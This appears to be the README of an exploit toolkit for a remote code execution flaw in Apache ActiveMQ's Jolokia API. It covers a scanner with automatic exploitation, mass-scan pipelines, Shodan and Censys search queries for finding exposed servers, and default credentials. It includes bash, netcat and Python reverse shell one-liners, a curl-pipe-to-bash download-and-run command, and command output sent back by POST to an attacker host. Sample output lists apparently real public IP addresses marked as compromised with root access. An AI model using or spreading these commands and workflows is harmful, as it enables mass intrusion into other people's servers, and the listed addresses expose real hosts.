CVE-2026-34197 — Exploitation Chain
 ──────────────────────────────────────────────────────────────

   ATTACKER                                 ACTIVEMQ SERVER
   ────────                                 ───────────────
       │                                          │
   [1] │── POST /api/jolokia/ ──────────────────>│
       │   addNetworkConnector(                   │
       │     vm://rce?brokerConfig=               │
       │     xbean:http://ATTACKER/payload.xml)   │
       │                                          │
       │                                     [2]  │── Creates VM broker
       │                                          │── Fetches remote XML
       │                                          │
   [3] │<── GET /payload.xml ─────────────────────│
       │── Serves malicious Spring XML ─────────>│
       │                                          │
       │                                     [4]  │── Spring instantiates beans
       │                                          │── Runtime.exec(COMMAND)
       │                                          │── ** RCE ACHIEVED **
       │                                          │
   [5] │<── POST /output (command stdout) ────────│  (auto, for simple commands)
       │── Displays command output                │
       │                                          │

CVE-2026-34197/
├── exploit.py             # PoC exploit (single target + mass scan)
├── version_check.py       # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│   └── template.xml       # Spring XML payload template
├── targets.txt            # Target URLs (one per line)
├── docker/
│   └── docker-compose.yml # Vulnerable lab environment
├── docs/
│   ├── HUNTING_GUIDE_EN.md  # Target hunting guide (English)
│   └── HUNTING_GUIDE_ES.md  # Guía de búsqueda (Español)
├── LICENSE
└── README.md

# Python 3.8+ required
pip install requests

cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161

# Single target
python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"

# Mass scan from file
python exploit.py -T targets.txt -l YOUR_IP -c "id"

# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt

# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"

  YOUR MACHINE                          TARGET (ActiveMQ)
  ────────────                          ─────────────────
  ATTACKER_IP:8888 ◄──── HTTP GET ──── "fetch xbean:http://ATTACKER_IP:8888/payload.xml"
  (serves payload.xml)                  (downloads & executes)

# Linux — find your IPs
ip -4 addr show              # All interfaces
ip addr show tun0            # VPN interface (HTB/THM)
ip addr show eth0            # Ethernet / cloud
curl -s ifconfig.me          # Public IP

# Windows
ipconfig                     # All interfaces
(Invoke-WebRequest ifconfig.me).Content   # Public IP (PowerShell)

# macOS
ifconfig en0                 # Wi-Fi
ifconfig utun0               # VPN
curl -s ifconfig.me          # Public IP

# 1. Start a quick listener on your machine
python3 -c "import http.server; http.server.HTTPServer(('0.0.0.0', 8888), http.server.SimpleHTTPRequestHandler).serve_forever()"

# 2. From another machine (or the target's network), try:
curl http://ATTACKER_IP:8888/

# If you see a connection in the listener → connectivity confirmed
# If timeout → check firewalls, NAT, routing

# Option A: Use a cloud VPS (recommended)
# Run the exploit from a VPS with a public IP — no NAT issues

# Option B: Port forward on your router
# Forward external port 8888 → your_local_ip:8888 (TCP)
# Then use your PUBLIC IP as ATTACKER_IP

# Option C: Use ngrok (quick & dirty)
ngrok http 8888
# Use the ngrok URL — but note: the exploit uses raw HTTP, not ngrok's URL format
# This option is NOT recommended for this exploit

# Linux (iptables)
sudo iptables -A INPUT -p tcp --dport 8888 -j ACCEPT

# Linux (ufw)
sudo ufw allow 8888/tcp

# Windows (PowerShell as admin)
New-NetFirewallRule -DisplayName "CVE-2026-34197 Listener" -Direction Inbound -Protocol TCP -LocalPort 8888 -Action Allow

# Step 1: Identify your IP
$ ip addr show tun0
    inet 10.10.14.23/23 ...

# Step 2: Verify the target is vulnerable
$ python version_check.py -T targets.txt
  [+] http://10.129.45.67:8161 → 5.15.9 (admin) [VULNERABLE]

# Step 3: Run the exploit with YOUR correct IP
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"

# Step 4: For a reverse shell — start listener FIRST
$ nc -lvnp 4444                    # Terminal 1
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 \
    -c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1"   # Terminal 2

# Basic usage with default credentials (admin:admin)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"

# Custom credentials
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p secret

# Custom HTTP listener port
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"

# No-auth mode (ActiveMQ 6.0.0 — 6.1.1 via CVE-2024-32114)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth

# Override broker name (if auto-detection fails)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --broker-name mybroker

# Scan targets from file, save vulnerable ones
python exploit.py -T targets.txt -l ATTACKER_IP -c "id"

# Custom output file
python exploit.py -T targets.txt -l ATTACKER_IP -c "id" -o vulnerable_hosts.txt

# Mass scan with custom credentials and port
python exploit.py -T targets.txt -l ATTACKER_IP -lp 9999 -c "id" -u myuser -p mypass

http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161

# Bash reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Netcat reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"

# Python reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

# Curl + bash (download & execute)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "curl http://ATTACKER_IP/shell.sh | bash"

# Mass reverse shell scan
python exploit.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

  YOUR MACHINE (ATTACKER_IP:8888)              TARGET (ActiveMQ)
  ───────────────────────────────              ─────────────────
  1. ◄── GET /payload.xml ─────────────────── Downloads XML payload
  2.     (payload served)                      Executes wrapped command:
                                                 OUTPUT=$(id 2>&1)
                                                 curl -s -X POST http://ATTACKER:8888/output -d "$OUTPUT"
  3. ◄── POST /output ────────────────────── Sends command output back
  4.     Displays: "uid=0(root) gid=0(root)..."

$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"

  [*] Target:    http://10.129.45.67:8161
  [*] Command:   id
  [*] Output:    capture enabled (will POST back to listener)
  [*] Broker:    localhost
  [*] Auth:      admin

  [*] Sending request to Jolokia...
  [+] Jolokia accepted the operation (status=200)
  [*] Waiting for the target to download the payload...
  [+] Payload served to 10.129.45.67
  [+] Target downloaded the payload. Command executed.
  [*] Waiting for command output...
  [+] Command output received:
  ──────────────────────────────────────────────────
  uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────

  ┌─────────────────────────────────────────────────────────┐
  │  PHASE 1 — Version Detection (fast, multithreaded)      │
  │                                                         │
  │  targets.txt ──→ 10 threads query Jolokia in parallel   │
  │                  GET .../BrokerVersion                   │
  │                                                         │
  │  For each target:                                       │
  │    1. Try auth (admin:admin)                            │
  │    2. If 401 → retry without auth (CVE-2024-32114)      │
  │    3. If brokerName=localhost fails → try wildcard (*)   │
  │    4. Extract: version, real broker name, working auth   │
  │    5. Classify: [VULNERABLE] or [PATCHED]               │
  │                                                         │
  │  Output: list of vulnerable candidates with metadata    │
  └──────────────────────┬──────────────────────────────────┘
                         │ only vulnerable targets
                         ▼
  ┌─────────────────────────────────────────────────────────┐
  │  PHASE 2 — RCE Verification (sequential, with callback) │
  │  (only runs if -l and -c are provided)                  │
  │                                                         │
  │  For each vulnerable target:                            │
  │    1. Generate Spring XML payload with command           │
  │    2. Send addNetworkConnector via Jolokia               │
  │    3. Wait for target to download payload (callback)     │
  │    4. If callback received → RCE CONFIRMED              │
  │                                                         │
  │  Output: confirmados.txt with RCE-confirmed targets     │
  └─────────────────────────────────────────────────────────┘

http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
http://192.168.1.100:8161

python version_check.py -T targets.txt

http://52.234.160.12:8161 | 5.15.9 | admin | broker=localhost
http://62.151.178.135:8161 | 5.15.2 | admin | broker=mybroker

python version_check.py -T targets.txt --threads 20

python version_check.py -T targets.txt -l ATTACKER_IP -c "id"

http://52.234.160.12:8161 | 5.15.9 | admin

# Scan only — detect versions (no exploitation)
python version_check.py -T targets.txt

# Scan + auto-exploit — full pipeline
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"

# Faster scan with 20 threads
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --threads 20

# Custom output, credentials, and port
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" -o pwned.txt -u admin -p secret -lp 9999

# Reverse shell (auto base64-wrapped)
# IMPORTANT: start your netcat listener FIRST on port 4444 (in a separate terminal):
#   nc -lvnp 4444
# The port in nc must match the port in /dev/tcp/.../4444
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# No-auth mode (for ActiveMQ 6.0.0 — 6.1.1)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --no-auth

# Longer callback wait (slow networks)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --wait 30

# Combine: fast threads + long wait + custom creds
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" \
  --threads 30 --wait 20 -u operator -p s3cret -lp 9999 -o results.txt

  YOUR MACHINE (ATTACKER_IP)                   TARGETS
  ──────────────────────────                   ───────
  HTTP server on :8888                         Target 1 (v5.15.9) ──→ GET /payload.xml ──→ YOUR_IP:8888
    (started once, reused)                     Target 2 (v5.18.6) ──→ GET /payload.xml ──→ YOUR_IP:8888
                                               Target 3 (v6.2.3)  ──→ [PATCHED, skipped]

  YOUR MACHINE (ATTACKER_IP)
  ──────────────────────────
  Terminal 1:  nc -lvnp 4444          ◄── Listening for reverse shell on port 4444
  Terminal 2:  version_check.py ...   ──► Scans targets, exploits vulnerable ones
                                          └─ sends: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
                                                                                  ▲
  TARGET (ActiveMQ)                                                               │
  ─────────────────                                                               │
  Executes the command ──► bash connects back to ATTACKER_IP:4444 ────────────────┘

# ──── Terminal 1: Start the listener FIRST ────
# The port here (4444) must match the port in the -c command
nc -lvnp 4444

# ──── Terminal 2: Run the scanner + exploit ────
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Terminal 1: listener on port 9001
nc -lvnp 9001

# Terminal 2: reverse shell pointing to port 9001
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"

# Netcat reverse shell (listener: nc -lvnp 4444)
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"

# Python reverse shell (listener: nc -lvnp 4444)
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

  ╔═══════════════════════════════════════════════════════════╗
  ║  CVE-2026-34197 — ActiveMQ Scanner + Auto-Exploit        ║
  ║  Phase 1: Version Detection (fast, multithreaded)        ║
  ║  Phase 2: RCE Verification (exploit + callback)          ║
  ║  By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY        ║
  ╚═══════════════════════════════════════════════════════════╝

[*] 124 unique targets loaded
[*] Threads: 10 | Timeout: 10s
[*] Mode: SCAN + EXPLOIT (wait: 15s)
[*] Command: id

════════════════════════════════════════════════════════════
  PHASE 1 — Version detection (multithreaded)
════════════════════════════════════════════════════════════

  [+] [1/124] http://52.234.160.12:8161 → 5.15.9 (admin) [VULNERABLE]
  [+] [2/124] http://62.151.178.135:8161 → 5.15.2 (admin) [VULNERABLE]
  [+] [3/124] http://146.190.139.20:8161 → 5.15.6 (admin) [VULNERABLE]
  [-] [4/124] http://167.172.150.143:8161 → 401
  [-] [5/124] http://198.44.176.205:8161 → Connection refused

[*] Phase 1 complete: 3 with version, 3 vulnerable by version

════════════════════════════════════════════════════════════
  PHASE 2 — Real exploit (3 candidates)
════════════════════════════════════════════════════════════

[+] HTTP server on 0.0.0.0:8888

  [1/3] http://52.234.160.12:8161 (v5.15.9, broker=localhost)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [+] Payload downloaded by 52.234.160.12
    [+] Command output:
    ──────────────────────────────────────────────
    uid=0(root) gid=0(root) groups=0(root)
    ──────────────────────────────────────────────
    [+] ✓ RCE CONFIRMED — http://52.234.160.12:8161 (v5.15.9)

  [2/3] http://62.151.178.135:8161 (v5.15.2, broker=mybroker)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [*] No callback received within 15s

  [3/3] http://146.190.139.20:8161 (v5.15.6, broker=localhost)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [+] Payload downloaded by 146.190.139.20
    [+] Command output:
    ──────────────────────────────────────────────
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ──────────────────────────────────────────────
    [+] ✓ RCE CONFIRMED — http://146.190.139.20:8161 (v5.15.6)

════════════════════════════════════════════════════════════
  FINAL SUMMARY
════════════════════════════════════════════════════════════
[*] Total scanned:           124
[*] Version detected:        3
[*] Vulnerable by version:   3
[+] RCE CONFIRMED:           2

[+] Saved to: confirmed.txt

    ✓ http://52.234.160.12:8161 | v5.15.9 | admin
    ✓ http://146.190.139.20:8161 | v5.15.6 | admin

# 1. Collect targets from Shodan (see Hunting Guides)
shodan search "ActiveMQ port:8161" --fields ip_str,port > raw_targets.txt

# 2. Format into targets.txt (one URL per line)
awk '{print "http://"$1}' raw_targets.txt > targets.txt

# 3. Phase 1 only — quick recon, no exploitation
python version_check.py -T targets.txt --threads 20
# Review output: which are vulnerable, which auth works

# 4. Full pipeline — scan + exploit with a safe command
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"

# 5. For confirmed targets, get reverse shells individually
nc -lvnp 4444   # Terminal 1
python exploit.py -t http://CONFIRMED_TARGET:8161 -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"   # Terminal 2

"ActiveMQ" port:8161                                          # All exposed consoles
http.title:"Apache ActiveMQ"                                  # By page title
"ActiveMQ" http.html:"jolokia" port:8161                      # Jolokia exposed (attack vector)
http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161  # Exclude patched

+software:"Apache ActiveMQ" +port:"8161"                      # All exposed
+banner:"jolokia" +banner:"ActiveMQ"                           # Jolokia exposed
+software:"Apache ActiveMQ" +tag:"default-password"            # Default creds

# Check version via Jolokia (single target)
curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"

# Mass version scan (recommended)
python version_check.py -T targets.txt

INFO  | Establishing network connection from vm://localhost to vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN  | Could not connect to remote URI: vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml